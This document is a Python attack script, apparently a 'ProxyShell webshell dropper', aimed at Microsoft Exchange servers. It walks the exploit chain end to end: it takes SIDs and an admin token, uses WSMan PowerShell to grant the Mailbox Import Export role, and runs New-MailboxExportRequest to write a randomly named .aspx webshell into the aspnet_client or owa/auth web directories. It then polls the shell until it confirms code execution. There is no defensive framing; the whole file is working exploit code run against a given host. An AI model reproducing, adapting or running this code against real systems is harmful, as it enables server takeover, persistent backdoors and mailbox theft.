#!/usr/bin/env python3
# ProxyShell webshell dropper v2: timeout>=35s + persistent export/poll + both paths
import sys, time, random, json
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def run(host, budget=280):
    start = time.time()
    def left(): return budget - (time.time() - start)
    url = host if host.startswith('https://') else f'https://{host}'
    ps = P.ProxyShell(url, timeout=35)
    res = {"target": host, "status": "fail", "detail": ""}
    try:
        fqdn = ps.get_fqdn()
        if not fqdn:
            res["detail"] = "no fqdn"; return res
        res["fqdn"] = fqdn
        ld = ps.get_legacydn()
        if not ld:
            res["detail"] = "no mailbox"; return res
        res["email"] = ps.email
        ps.get_sid()
        user_sid, admin_sid = ps.sid, ps.admin_sid
        res["user_sid"] = user_sid
        ps.sid = user_sid
        d = ps.set_ews(); res["ews"] = d
        print(f"[*] {host} fqdn={fqdn} mb={ps.email} ews={d}", flush=True)
        if d != "Success":
            res["detail"] = f"ews={d}"; return res
        ps.sid = admin_sid
        tok = ps.get_token()
        if not ps.token:
            res["detail"] = "no token"; return res
        port = random.randint(20000, 40000)
        P.start_server(ps, port)
        user = ps.email.split('@')[0]
        try:
            P.wsman_shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', port)
        except Exception as e:
            print("   roleassign err", e, flush=True)
        time.sleep(2)
        paths = [
            ("inetpub\\wwwroot\\aspnet_client\\", "aspnet_client"),
            ("Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\", "owa_auth"),
        ]
        for shell_path, kind in paths:
            if left() < 60: break
            name = P.rand_string(6) + '.aspx'
            unc = "\\\\127.0.0.1\\c$\\" + shell_path + name
            if kind == "aspnet_client":
                rel = shell_path.split('inetpub\\wwwroot\\')[1]
            else:
                rel = shell_path.split('Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\')[1]
            rel = rel.replace('\\', '/')
            shell_url = f"https://{host}/{rel}{name}"
            cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
                   '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ps.email, P.subj_, unc)
            print(f"[*] export[{kind}] -> {rel}{name}", flush=True)
            try:
                o, e = P.wsman_shell(cmd, port)
                for x in o: print("   out:", str(x)[:120], flush=True)
            except Exception as ex:
                print("   export err", type(ex).__name__, str(ex)[:150], flush=True)
            for _ in range(10):
                if left() < 25: break
                try:
                    code, txt = P.test_webshell(shell_url)
                except Exception as ex:
                    code, txt = -1, f"probe exc {ex}"
                print(f"   probe {code} {(txt or '')[:70]!r}", flush=True)
                if code == 200 and txt and txt.strip() and 'Exception' not in txt[:300] and 'Server Error' not in txt[:300]:
                    res.update(status="success", shell_url=shell_url, kind=kind, output=txt[:200])
                    return res
                time.sleep(5)
        res["detail"] = "webshell not confirmed"
        return res
    except Exception as e:
        res["detail"] = f"exception {type(e).__name__}: {e}"
        return res

if __name__ == '__main__':
    host = sys.argv[1]
    b = int(sys.argv[2]) if len(sys.argv) > 2 else 280
    print("RESULT_JSON " + json.dumps(run(host, b)), flush=True)
